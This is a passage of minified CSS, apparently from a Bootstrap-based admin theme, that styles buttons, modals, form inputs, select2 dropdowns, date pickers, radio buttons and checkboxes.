#007bff}.btn-primary:hover,.btn-primary:focus,.btn-primary.active{background-color:#006fe6;border:1px solid #006fe6;color:#fff !important}.btn-success{background-color:#2dce89;border:1px solid #2dce89}.btn-success:hover,.btn-success:focus,.btn-success.active{background-color:#28b97b;border:1px solid #28b97b;color:#fff !important}.btn-info{background-color:#11cdef;border:1px solid #11cdef}.btn-info:hover,.btn-info:focus,.btn-info.active{background-color:#0fb9d8;border:1px solid #0fb9d8;color:#fff !important}.btn-warning{background-color:#fb6340;border:1px solid #fb6340}.btn-warning:hover,.btn-warning:focus,.btn-warning.active{background-color:#fa4f27;border:1px solid #fa4f27;color:#fff !important}.btn-danger{background-color:#f5365c;border:1px solid #f5365c}.btn-danger:focus,.btn-danger:hover,.btn-danger.active{background-color:#f41e48;border:1px solid #f41e48;color:#fff !important}.btn-inverse{background-color:#4c5667;border:1px solid #4c5667}.btn-inverse:hover,.btn-inverse:focus,.btn-inverse.active{background-color:#414a58;border:1px solid #414a58;color:#fff !important}.btn-purple{background-color:#BF55EC;border:1px solid #BF55EC}.btn-purple:hover,.btn-purple:focus,.btn-purple.active{background-color:#b63ee9;border:1px solid #b63ee9;color:#fff !important}.btn-pink{background-color:#f76397;border:1px solid #f76397}.btn-pink:hover,.btn-pink:focus,.btn-pink.active{background-color:#f64b87;border:1px solid #f64b87;color:#fff !important}.btn-facebook{background:#3b579d}.btn-twitter{background:#1da1f2}.btn-dribbble{background:#ea4c89}.btn-linkedin{background:#0177b4}.btn-google{background:#dc4a38}.btn-instagram{background:#fb3958}.template-demo .btn{margin-right:10px;margin-bottom:10px}.btn-group .btn{margin:0}.full-window-modal .modal-dialog{position:fixed;width:100%;height:100%;margin:0;max-width:100%;left:0;top:0;bottom:0;display:block}.full-window-modal .modal-dialog .modal-content{height:100vh;border:none;border-radius:0;-webkit-border-radius:0;-moz-border-radius:0}.full-window-modal .modal-dialog .modal-content .modal-body{height:calc(100vh - 50px);overflow-x:auto}.full-window-modal .modal-dialog .modal-content .modal-footer{background-color:#393a3d;padding:15px 24px;padding-top:15px !important}.modal-open .apps-modal{overflow:hidden}.modal-open .apps-modal .close{position:absolute;top:20px;right:20px;text-shadow:none;z-index:9}.modal-open .apps-modal .modal-dialog{width:100%;max-width:100%;border-radius:0;margin:0}.modal-open .apps-modal .modal-dialog .modal-content{border:none;border-radius:0;min-height:100vh;background-color:#fff}.modal-open .apps-modal .modal-dialog .modal-content .quick-search{position:absolute;width:100%;top:17px;padding:0 50px;z-index:9}.modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap{position:relative}.modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap i{position:absolute;right:5px;top:0;width:30px;height:35px;border-radius:50%;line-height:35px;text-align:center}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-flow:row wrap;-moz-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center;width:100%}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item{width:130px;height:100px;margin:10px;color:#ccc;text-align:center;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a{display:inline-block}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a i{font-size:40px;color:#3e5569;display:inline-block;margin-bottom:10px;-moz-transition:all 0.3s ease 0s;-o-transition:all 0.3s ease 0s;-webkit-transition:all 0.3s ease 0s;transition:all 0.3s ease 0s}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a span{display:block;font-size:14px;color:#3e5569}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item:hover i{color:#ef4153}.modal-open .apps-modal.fade .modal-dialog{overflow:hidden;-moz-transform:translate(0, 0) scale(1.2);-o-transform:translate(0, 0) scale(1.2);-ms-transform:translate(0, 0) scale(1.2);-webkit-transform:translate(0, 0) scale(1.2);transform:translate(0, 0) scale(1.2)}.modal-open .apps-modal.fade.show .modal-dialog{-moz-transform:translate(0, 0) scale(1);-o-transform:translate(0, 0) scale(1);-ms-transform:translate(0, 0) scale(1);-webkit-transform:translate(0, 0) scale(1);transform:translate(0, 0) scale(1)}.form-group{margin-bottom:1.25em}.form-group .form-control-lg{font-size:1.25em}.form-group .form-control-round{border-radius:50px}.form-group .form-control-static:focus{outline:none}.form-control{height:auto;min-height:35px;border:1px solid #eaeaea;padding:0 10px;background-color:#fff;font-size:13px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.form-control.placeholder{color:#999999}.form-control:-moz-placeholder{color:#999999}.form-control::-moz-placeholder{color:#999999}.form-control:-ms-input-placeholder{color:#999999}.form-control::-webkit-input-placeholder{color:#999999}.form-control:focus{border-color:#e2dfdf;-webkit-box-shadow:none;box-shadow:none}.form-control.form-control-normal{font-weight:400}.form-control.form-control-bold{font-weight:700}.form-control.form-control-capitalize{text-transform:capitalize}.form-control.form-control-uppercase{text-transform:uppercase}.form-control.form-control-lowercase{text-transform:lowercase}.form-control.form-control-variant{font-variant:small-caps}.form-control.form-control-left{text-align:left}.form-control.form-control-center{text-align:center}.form-control.form-control-right{text-align:right}.form-control.form-control-rtl{direction:rtl}.form-control:disabled{cursor:not-allowed;opacity:0.5}select.form-control{-webkit-appearance:none;-moz-appearance:none;appearance:none;padding-right:20px;background-image:url("../img/down-arrow.svg");background-position:center right 15px;background-repeat:no-repeat;-webkit-background-size:10px;background-size:10px;height:35px !important}textarea.form-control{padding:10px 15px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.custom-radio .custom-control-label{line-height:24px}.custom-checkbox .custom-control-label{line-height:24px}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after{background-image:none;content:"\e83f";line-height:16px;font-family:'iconkit';color:#fff}.custom-control-label{text-align:center}.input-group .input-group-prepend .input-group-text{border-top-left-radius:4px;border-bottom-left-radius:4px;background-color:#eaeaea;border-color:#eaeaea;padding-left:15px;height:35px;font-size:14px}.input-group .input-group-prepend .btn{height:35px;border-top-left-radius:4px;border-bottom-left-radius:4px}.input-group .input-group-append .input-group-text{border-top-right-radius:4px;border-bottom-right-radius:4px;background-color:#eaeaea;border-color:#eaeaea;padding-right:15px;height:35px;font-size:14px}.input-group .input-group-append .btn{height:35px;border-top-right-radius:4px;border-bottom-right-radius:4px}.form-group .file-upload-default{visibility:hidden;position:absolute}.form-group .file-upload-info{background:transparent}.select2.select2-container--default .select2-selection--single{border-color:#eaeaea;height:35px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.select2.select2-container--default .select2-selection--single .select2-selection__rendered{line-height:35px;padding-left:15px;padding-right:30px}.select2.select2-container--default .select2-selection--single .select2-selection__arrow{height:33px;right:8px}.select2.select2-container--default .select2-selection--multiple{border-color:#eaeaea}.select2.select2-container--default .select2-selection--multiple .select2-selection__rendered{margin-top:1px}.select2.select2-container--default .select2-selection--multiple .select2-selection__rendered .select2-selection__choice{border:none;padding:1px 5px}.select2.select2-container--default.select2-container--focus .select2-selection--multiple{border-color:#8e8e8e}.select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--single,.select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom-left-radius:4px;border-bottom-right-radius:4px}.select2.select2-container .select2-selection--multiple{min-height:35px}.select2-container--default .select2-dropdown{background-color:#fff;border:none;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px;-webkit-box-shadow:0 2px 30px rgba(0,0,0,0.08);-moz-box-shadow:0 2px 30px rgba(0,0,0,0.08);box-shadow:0 2px 30px rgba(0,0,0,0.08)}.select2-container--default .select2-dropdown .select2-search--dropdown{padding:5px}.select2-container--default .select2-dropdown .select2-search--dropdown .select2-search__field{height:30px;border:none;background-color:#eaeaea;padding:5px 10px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.select2-container--default .select2-dropdown .select2-results .select2-results__options{padding:5px}.select2-results__option{background-color:#fff;padding:8px 15px;border-radius:4px;line-height:14px}.bootstrap-datetimepicker-widget .table thead{background-color:transparent}.bootstrap-datetimepicker-widget .table thead tr th{color:#212121;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px}.bootstrap-datetimepicker-widget .table tr td,.bootstrap-datetimepicker-widget .table tr th{text-align:center;width:35px;height:35px;border-radius:50%;border:none;line-height:35px;position:relative;z-index:1}.bootstrap-datetimepicker-widget .table tr td.today,.bootstrap-datetimepicker-widget .table tr td.active{color:#fff;position:relative;z-index:1;background-color:transparent;text-shadow:none}.bootstrap-datetimepicker-widget .table tr td.today:before,.bootstrap-datetimepicker-widget .table tr td.today::before,.bootstrap-datetimepicker-widget .table tr td.active:before,.bootstrap-datetimepicker-widget .table tr td.active::before{width:30px;height:30px;border-radius:50%;border:none;background-color:#4a5361;position:absolute;z-index:-1;display:block;margin:auto;content:'';top:6px;left:0px;right:0px;bottom:auto;-moz-transform:scale(1);-o-transform:scale(1);-ms-transform:scale(1);-webkit-transform:scale(1);transform:scale(1)}.bootstrap-datetimepicker-widget .table tr td.active:hover:before,.bootstrap-datetimepicker-widget .table tr td.active:hover::before{background-color:#4a5361 !important}.bootstrap-datetimepicker-widget .table tr td.today:before,.bootstrap-datetimepicker-widget .table tr td.today::before{background-color:#ef4153}.bootstrap-datetimepicker-widget .table tr td.day:hover,.bootstrap-datetimepicker-widget .table tr td.hour:hover,.bootstrap-datetimepicker-widget .table tr td.minute:hover,.bootstrap-datetimepicker-widget .table tr td.second:hover{background-color:transparent}.bootstrap-datetimepicker-widget .table tr td:before,.bootstrap-datetimepicker-widget .table tr td::before{width:30px;height:30px;border-radius:50%;border:none;background-color:transparent;position:absolute;z-index:-1;display:block;margin:auto;content:'';top:6px;left:0px;right:0px;bottom:auto;-moz-transform:scale(0);-o-transform:scale(0);-ms-transform:scale(0);-webkit-transform:scale(0);transform:scale(0);-moz-transition:0.3s ease-in-out;-o-transition:0.3s ease-in-out;-webkit-transition:0.3s ease-in-out;transition:0.3s ease-in-out}.bootstrap-datetimepicker-widget .table tr td:hover:before,.bootstrap-datetimepicker-widget .table tr td:hover::before{background-color:#f4f4f4;-moz-transform:scale(1);-o-transform:scale(1);-ms-transform:scale(1);-webkit-transform:scale(1);transform:scale(1)}.bootstrap-datetimepicker-widget .timepicker table td{position:relative;z-index:1;width:35px;height:35px;line-height:35px}.bootstrap-datetimepicker-widget .timepicker table td .btn{height:auto}.bootstrap-datetimepicker-widget .timepicker table td span{width:35px;height:35px;line-height:35px}.bootstrap-datetimepicker-widget.dropdown-menu{min-width:280px}.bootstrap-datetimepicker-widget.dropdown-menu.bottom:before,.bootstrap-datetimepicker-widget.dropdown-menu.bottom::before{border-bottom-color:#fff}.bootstrap-datetimepicker-widget.dropdown-menu.top:before,.bootstrap-datetimepicker-widget.dropdown-menu.top::before{border-top-color:#fff}.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr th,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td{width:30px;height:30px;line-height:30px}.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td:before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td::before{top:4px;left:0px}.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today:before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today::before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active:before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active::before{top:4px;left:0px}.bootstrap-tagsinput{display:block;border:1px solid #eaeaea;min-height:35px;padding:0px 10px;padding-top:4px;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.bootstrap-tagsinput .tag{padding:1px 5px;margin-right:2px;margin-bottom:4px;display:inline-block;text-transform:capitalize;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;background-color:#4c5667}.note-editor.note-frame.card{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.input-group{margin-bottom:1.25em}.form-control-primary{border-color:#007bff;color:#007bff}.form-control-primary:focus{border-color:#007bff}.input-group-primary .input-group-append .input-group-text,.input-group-primary .input-group-prepend .input-group-text{background-color:#007bff;border-color:#007bff;color:#fff}.input-group-primary .form-control{border-color:#007bff}.form-control-warning{border-color:#fb6340;color:#fb6340}.form-control-warning:focus{border-color:#fb6340}.input-group-warning .input-group-append .input-group-text,.input-group-warning .input-group-prepend .input-group-text{background-color:#fb6340;border-color:#fb6340;color:#fff}.input-group-warning .form-control{border-color:#fb6340}.form-control-default{border-color:#d6d6d6;color:#d6d6d6}.form-control-default:focus{border-color:#d6d6d6}.input-group-default .input-group-append .input-group-text,.input-group-default .input-group-prepend .input-group-text{background-color:#d6d6d6;border-color:#d6d6d6;color:#fff}.input-group-default .form-control{border-color:#d6d6d6}.form-control-danger{border-color:#f5365c;color:#f5365c}.form-control-danger:focus{border-color:#f5365c}.input-group-danger .input-group-append .input-group-text,.input-group-danger .input-group-prepend .input-group-text{background-color:#f5365c;border-color:#f5365c;color:#fff}.input-group-danger .form-control{border-color:#f5365c}.form-control-success{border-color:#2dce89;color:#2dce89}.form-control-success:focus{border-color:#2dce89}.input-group-success .input-group-append .input-group-text,.input-group-success .input-group-prepend .input-group-text{background-color:#2dce89;border-color:#2dce89;color:#fff}.input-group-success .form-control{border-color:#2dce89}.form-control-inverse{border-color:#4c5667;color:#4c5667}.form-control-inverse:focus{border-color:#4c5667}.input-group-inverse .input-group-append .input-group-text,.input-group-inverse .input-group-prepend .input-group-text{background-color:#4c5667;border-color:#4c5667;color:#fff}.input-group-inverse .form-control{border-color:#4c5667}.form-control-info{border-color:#11cdef;color:#11cdef}.form-control-info:focus{border-color:#11cdef}.input-group-info .input-group-append .input-group-text,.input-group-info .input-group-prepend .input-group-text{background-color:#11cdef;border-color:#11cdef;color:#fff}.input-group-info .form-control{border-color:#11cdef}.form-txt-primary{color:#007bff}.form-txt-primary:focus{color:#007bff}.form-txt-primary::-moz-placeholder{color:#007bff;opacity:1}.form-txt-primary:-ms-input-placeholder{color:#007bff}.form-txt-primary::-webkit-input-placeholder{color:#007bff}.form-txt-warning{color:#fb6340}.form-txt-warning:focus{color:#fb6340}.form-txt-warning::-moz-placeholder{color:#fb6340;opacity:1}.form-txt-warning:-ms-input-placeholder{color:#fb6340}.form-txt-warning::-webkit-input-placeholder{color:#fb6340}.form-txt-default{color:#d6d6d6}.form-txt-default:focus{color:#d6d6d6}.form-txt-default::-moz-placeholder{color:#d6d6d6;opacity:1}.form-txt-default:-ms-input-placeholder{color:#d6d6d6}.form-txt-default::-webkit-input-placeholder{color:#d6d6d6}.form-txt-danger{color:#f5365c}.form-txt-danger:focus{color:#f5365c}.form-txt-danger::-moz-placeholder{color:#f5365c;opacity:1}.form-txt-danger:-ms-input-placeholder{color:#f5365c}.form-txt-danger::-webkit-input-placeholder{color:#f5365c}.form-txt-success{color:#2dce89}.form-txt-success:focus{color:#2dce89}.form-txt-success::-moz-placeholder{color:#2dce89;opacity:1}.form-txt-success:-ms-input-placeholder{color:#2dce89}.form-txt-success::-webkit-input-placeholder{color:#2dce89}.form-txt-inverse{color:#4c5667}.form-txt-inverse:focus{color:#4c5667}.form-txt-inverse::-moz-placeholder{color:#4c5667;opacity:1}.form-txt-inverse:-ms-input-placeholder{color:#4c5667}.form-txt-inverse::-webkit-input-placeholder{color:#4c5667}.form-txt-info{color:#11cdef}.form-txt-info:focus{color:#11cdef}.form-txt-info::-moz-placeholder{color:#11cdef;opacity:1}.form-txt-info:-ms-input-placeholder{color:#11cdef}.form-txt-info::-webkit-input-placeholder{color:#11cdef}.form-bg-primary{background-color:#007bff;border-color:#007bff;color:#fff}.form-bg-primary:focus{background-color:#007bff;border-color:#007bff;color:#fff}.form-bg-primary::-moz-placeholder{color:#fff;opacity:1}.form-bg-primary:-ms-input-placeholder{color:#fff}.form-bg-primary::-webkit-input-placeholder{color:#fff}.form-bg-warning{background-color:#fb6340;border-color:#fb6340;color:#fff}.form-bg-warning:focus{background-color:#fb6340;border-color:#fb6340;color:#fff}.form-bg-warning::-moz-placeholder{color:#fff;opacity:1}.form-bg-warning:-ms-input-placeholder{color:#fff}.form-bg-warning::-webkit-input-placeholder{color:#fff}.form-bg-default{background-color:#d6d6d6;border-color:#d6d6d6;color:#fff}.form-bg-default:focus{background-color:#d6d6d6;border-color:#d6d6d6;color:#fff}.form-bg-default::-moz-placeholder{color:#fff;opacity:1}.form-bg-default:-ms-input-placeholder{color:#fff}.form-bg-default::-webkit-input-placeholder{color:#fff}.form-bg-danger{background-color:#f5365c;border-color:#f5365c;color:#fff}.form-bg-danger:focus{background-color:#f5365c;border-color:#f5365c;color:#fff}.form-bg-danger::-moz-placeholder{color:#fff;opacity:1}.form-bg-danger:-ms-input-placeholder{color:#fff}.form-bg-danger::-webkit-input-placeholder{color:#fff}.form-bg-success{background-color:#2dce89;border-color:#2dce89;color:#fff}.form-bg-success:focus{background-color:#2dce89;border-color:#2dce89;color:#fff}.form-bg-success::-moz-placeholder{color:#fff;opacity:1}.form-bg-success:-ms-input-placeholder{color:#fff}.form-bg-success::-webkit-input-placeholder{color:#fff}.form-bg-inverse{background-color:#4c5667;border-color:#4c5667;color:#fff}.form-bg-inverse:focus{background-color:#4c5667;border-color:#4c5667;color:#fff}.form-bg-inverse::-moz-placeholder{color:#fff;opacity:1}.form-bg-inverse:-ms-input-placeholder{color:#fff}.form-bg-inverse::-webkit-input-placeholder{color:#fff}.form-bg-info{background-color:#11cdef;border-color:#11cdef;color:#fff}.form-bg-info:focus{background-color:#11cdef;border-color:#11cdef;color:#fff}.form-bg-info::-moz-placeholder{color:#fff;opacity:1}.form-bg-info:-ms-input-placeholder{color:#fff}.form-bg-info::-webkit-input-placeholder{color:#fff}.form-radio{position:relative}.form-radio .form-help{position:absolute;width:100%}.form-radio label{position:relative;padding-left:1.5rem;text-align:left;color:#333;display:block;line-height:1.8}.form-radio input{width:auto;opacity:0.00000001;position:absolute;left:0}.radio .helper{position:absolute;top:-0.25rem;left:-0.25rem;cursor:pointer;display:block;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;color:#999}.radio .helper::after{transform:scale(0);background-color:#007bff;border-color:#007bff}.radio .helper::after,.radio .helper::before{content:'';position:absolute;left:0;top:3px;margin:0.25rem;width:1rem;height:1rem;-webkit-transition:-webkit-transform 0.28s ease;transition:-webkit-transform 0.28s ease;transition:transform 0.28s ease, -webkit-transform 0.28s ease;border-radius:50%;border:0.125rem solid #007bff}.radio label:hover .helper{color:#007bff}.radio input:checked ~ .helper::after{transform:scale(0.5)}.radio input:checked ~ .helper::before{color:#007bff;animation:ripple 0.3s linear forwards}.radio.radiofill input:checked ~ .helper::after{transform:scale(1)}.radio.radiofill .helper::after{background-color:#007bff}.radio.radio-outline input:checked ~ .helper::after{transform:scale(0.6)}.radio.radio-outline .helper::after{background-color:#fff;border:0.225rem solid #007bff}.radio.radio-matrial input ~ .helper::after{background-color:#fff}.radio.radio-matrial input:checked ~ .helper::after{transform:scale(0.5);box-shadow:0 1px 7px -1px rgba(0,0,0,0.72)}.radio.radio-matrial input:checked ~ .helper::before{background-color:#007bff}.radio.radio-disable{opacity:0.7}.radio.radio-disable label{cursor:not-allowed}.radio-inline{display:inline-block;margin-right:20px}.radio.radio-primary .helper::after{background-color:#007bff;border-color:#007bff}.radio.radio-primary .helper::before{border-color:#007bff}.radio.radio-outline.radio-primary .helper::after{background-color:#fff;border:0.225rem solid #007bff}.radio.radio-outline.radio-primary .helper::before{border-color:#007bff}.radio.radio-matrial.radio-primary input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-primary input ~ .helper::before{background-color:#007bff;border-color:#007bff}.radio.radio-warning .helper::after{background-color:#fb6340;border-color:#fb6340}.radio.radio-warning .helper::before{border-color:#fb6340}.radio.radio-outline.radio-warning .helper::after{background-color:#fff;border:0.225rem solid #fb6340}.radio.radio-outline.radio-warning .helper::before{border-color:#fb6340}.radio.radio-matrial.radio-warning input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-warning input ~ .helper::before{background-color:#fb6340;border-color:#fb6340}.radio.radio-default .helper::after{background-color:#d6d6d6;border-color:#d6d6d6}.radio.radio-default .helper::before{border-color:#d6d6d6}.radio.radio-outline.radio-default .helper::after{background-color:#fff;border:0.225rem solid #d6d6d6}.radio.radio-outline.radio-default .helper::before{border-color:#d6d6d6}.radio.radio-matrial.radio-default input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-default input ~ .helper::before{background-color:#d6d6d6;border-color:#d6d6d6}.radio.radio-danger .helper::after{background-color:#f5365c;border-color:#f5365c}.radio.radio-danger .helper::before{border-color:#f5365c}.radio.radio-outline.radio-danger .helper::after{background-color:#fff;border:0.225rem solid #f5365c}.radio.radio-outline.radio-danger .helper::before{border-color:#f5365c}.radio.radio-matrial.radio-danger input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-danger input ~ .helper::before{background-color:#f5365c;border-color:#f5365c}.radio.radio-success .helper::after{background-color:#2dce89;border-color:#2dce89}.radio.radio-success .helper::before{border-color:#2dce89}.radio.radio-outline.radio-success .helper::after{background-color:#fff;border:0.225rem solid #2dce89}.radio.radio-outline.radio-success .helper::before{border-color:#2dce89}.radio.radio-matrial.radio-success input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-success input ~ .helper::before{background-color:#2dce89;border-color:#2dce89}.radio.radio-inverse .helper::after{background-color:#4c5667;border-color:#4c5667}.radio.radio-inverse .helper::before{border-color:#4c5667}.radio.radio-outline.radio-inverse .helper::after{background-color:#fff;border:0.225rem solid #4c5667}.radio.radio-outline.radio-inverse .helper::before{border-color:#4c5667}.radio.radio-matrial.radio-inverse input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-inverse input ~ .helper::before{background-color:#4c5667;border-color:#4c5667}.radio.radio-info .helper::after{background-color:#11cdef;border-color:#11cdef}.radio.radio-info .helper::before{border-color:#11cdef}.radio.radio-outline.radio-info .helper::after{background-color:#fff;border:0.225rem solid #11cdef}.radio.radio-outline.radio-info .helper::before{border-color:#11cdef}.radio.radio-matrial.radio-info input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-info input ~ .helper::before{background-color:#11cdef;border-color:#11cdef}@keyframes ripple{0%{box-shadow:0 0 0 1px transparent}50%{box-shadow:0 0 0 10px rgba(0,0,0,0.05)}100%{box-shadow:0 0 0 10px transparent}}.border-checkbox-section .border-checkbox-group{display:inline-block}.border-checkbox-section .border-checkbox-group .border-checkbox:checked+.border-checkbox-label:before{animation:ripple 0.3s linear forwards}.border-checkbox-section .border-checkbox-group .border-checkbox:checked+.border-checkbox-label:after{-webkit-animation:check linear 0.5s;animation:check linear 0.5s;opacity:1;border-color:#007bff}.border-checkbox-section .border-checkbox-group .border-checkbox:checked+.border-checkbox-label:after .border-checkbox-label:before{border-color:#eee}.border-checkbox-section .border-checkbox-group .border-checkbox-label{position:relative;display:inline-block;cursor:pointer;height:20px;line-height:20px;padding-left:30px;margin-right:15px}.border-checkbox-section .border-checkbox-group .border-checkbox-label:after{content:"";display:block;width:6px;height:12px;opacity:0.9;border-right:2px solid #eee;border-top:2px solid #eee;position:absolute;left:4px;top:11px;-webkit-transform:scaleX(-1) rotate(135deg);transform:scaleX(-1) rotate(135deg);-webkit-transform-origin:left top;transform-origin:left top}.border-checkbox-section .border-checkbox-group .border-checkbox-label:before{content:"";display:block;border:2px solid #007bff;width:20px;height:20px;position:absolute;left:0}.border-checkbox-section .border-checkbox{display:none}.border-checkbox-section .border-checkbox:disabled ~ .border-checkbox-label{cursor:no-drop;color:#ccc}@-webkit-keyframes check{0%{height:0;width:0}25%{height:0;width:6px}50%{height:12px;width:6px}}@keyframes check{0%{height:0;width:0}25%{height:0;width:6px}50%{height:12px;width:6px}}.border-checkbox-section .border-checkbox-group-primary .border-checkbox-label:before{border:2px solid #007bff}.border-checkbox-section .border-checkbox-group-primary .border-checkbox:checked+.border-checkbox-label:after{border-color:#007bff}.border-checkbox-section .border-checkbox-group-warning .border-checkbox-label:before{border:2px solid #fb6340}.border-checkbox-section .border-checkbox-group-warning .border-checkbox:checked+.border-checkbox-label:after{border-color:#fb6340}.border-checkbox-section .border-checkbox-group-default .border-checkbox-label:before{border:2px solid #d6d6d6}.border-checkbox-section .border-checkbox-group-default .border-checkbox:checked+.border-checkbox-label:after{border-color:#d6d6d6}.border-checkbox-section .border-checkbox-group-danger .border-checkbox-label:before{border:2px solid #f5365c}.border-checkbox-section .border-checkbox-group-danger .border-checkbox:checked+.border-checkbox-label:after{border-color:#f5365c}.border-checkbox-section .border-checkbox-group-success .border-checkbox-label:before{border:2px solid #2dce89}.border-checkbox-section .border-checkbox-group-success .border-checkbox:checked+.border-checkbox-label:after{border-color:#2dce89}.border-checkbox-section .border-checkbox-group-inverse .border-checkbox-label:before{border:2px solid #4c5667}.border-checkbox-section .border-checkbox-group-inverse .border-checkbox:checked+.border-checkbox-label:after{border-color:#4c5667}.border-checkbox-section .border-checkbox-group-info .border-checkbox-label:before{border:2px solid #11cdef}.border-checkbox-section .border-checkbox-group-info .border-checkbox:checked+.border-checkbox-label:after{border-color:#11cdef}.checkbox-fade,.checkbox-zoom{display:inline-block;margin-right:15px}.checkbox-fade label,.checkbox-zoom label{line-height:20px}.checkbox-fade label input[type="checkbox"],.checkbox-fade label input[type="radio"],.checkbox-zoom label input[type="checkbox"],.checkbox-zoom label input[type="radio"]{display:none}.checkbox-fade label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-fade label input[type="radio"]:checked+.cr>.cr-icon,.checkbox-zoom label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]:checked+.cr>.cr-icon{transform:scale(1) rotateZ(0deg);opacity:1}.checkbox-fade label input[type="checkbox"]+.cr>.cr-icon,.checkbox-fade label input[type="radio"]+.cr>.cr-icon,.checkbox-zoom label input[type="checkbox"]+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]+.cr>.cr-icon{transform:scale(3) rotateZ(-20deg);opacity:0;transition:all 0.3s ease-in}.checkbox-fade label:after,.checkbox-zoom label:after{content:'';display:table;clear:both}.checkbox-fade.fade-in-disable .cr,.checkbox-fade.fade-in-disable label,.checkbox-zoom.fade-in-disable .cr,.checkbox-zoom.fade-in-disable label{color:#ccc;cursor:no-drop}.checkbox-fade .cr,.checkbox-zoom .cr{border-radius:0;border:2px solid #007bff;cursor:pointer;display:inline-block;float:left;height:20px;margin-right:1rem;position:relative;width:20px}.checkbox-fade .cr .cr-icon,.checkbox-zoom .cr .cr-icon{color:#007bff;font-size:1em;left:0;line-height:0;position:absolute;right:0;text-align:center;top:50%}.checkbox-fade input[type="checkbox"]:checked+.cr,.checkbox-zoom input[type="checkbox"]:checked+.cr{animation:ripple 0.3s linear forwards}.checkbox-fade label{line-height:20px}.checkbox-fade label input[type="checkbox"],.checkbox-fade label input[type="radio"]{display:none}.checkbox-fade label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-fade label input[type="radio"]:checked+.cr>.cr-icon{transform:scale(1) rotateZ(0deg);opacity:1}.checkbox-fade label input[type="checkbox"]+.cr>.cr-icon,.checkbox-fade label input[type="radio"]+.cr>.cr-icon{transform:scale(3) rotateZ(-20deg);opacity:0;transition:all 0.3s ease-in}.checkbox-zoom label{line-height:20px}.checkbox-zoom label input[type="checkbox"],.checkbox-zoom label input[type="radio"]{display:none}.checkbox-zoom label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]:checked+.cr>.cr-icon{transform:scale3d(1, 1, 1) translate3d(0, 0, 0);opacity:1}.checkbox-zoom label input[type="checkbox"]+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]+.cr>.cr-icon{transform:scale3d(0.2, 0.2, 0.1) translate3d(0, 0, 0);opacity:0;transition:all 0.3s ease-in}.checkbox-fade.fade-in-primary .cr,.checkbox-fade.zoom-primary .cr,.checkbox-zoom.fade-in-primary .cr,.checkbox-zoom.zoom-primary .cr{border:2px solid #007bff}.checkbox-fade.fade-in-primary .cr .cr-icon,.checkbox-fade.zoom-primary .cr .cr-icon,.checkbox-zoom.fade-in-primary .cr .cr-icon,.checkbox-zoom.zoom-primary .cr .cr-icon{color:#007bff}.checkbox-fade.fade-in-warning .cr,.checkbox-fade.zoom-warning .cr,.checkbox-zoom.fade-in-warning .cr,.checkbox-zoom.zoom-warning .cr{border:2px solid #fb6340}.checkbox-fade.fade-in-warning .cr .cr-icon,.checkbox-fade.zoom-warning .cr .cr-icon,.checkbox-zoom.fade-in-warning .cr .cr-icon,.checkbox-zoom.zoom-warning .cr .cr-icon{color:#fb6340}.checkbox-fade.fade-in-default .cr,.checkbox-fade.zoom-default .cr,.checkbox-zoom.fade-in-default .cr,.checkbox-zoom.zoom-default .cr{border:2px solid #d6d6d6}.checkbox-fade.fade-in-default .cr .cr-icon,.checkbox-fade.zoom-default .cr .cr-icon,.checkbox-zoom.fade-in-default .cr .cr-icon,.checkbox-zoom.zoom-default .cr .cr-icon{color:#d6d6d6}.checkbox-fade.fade-in-danger 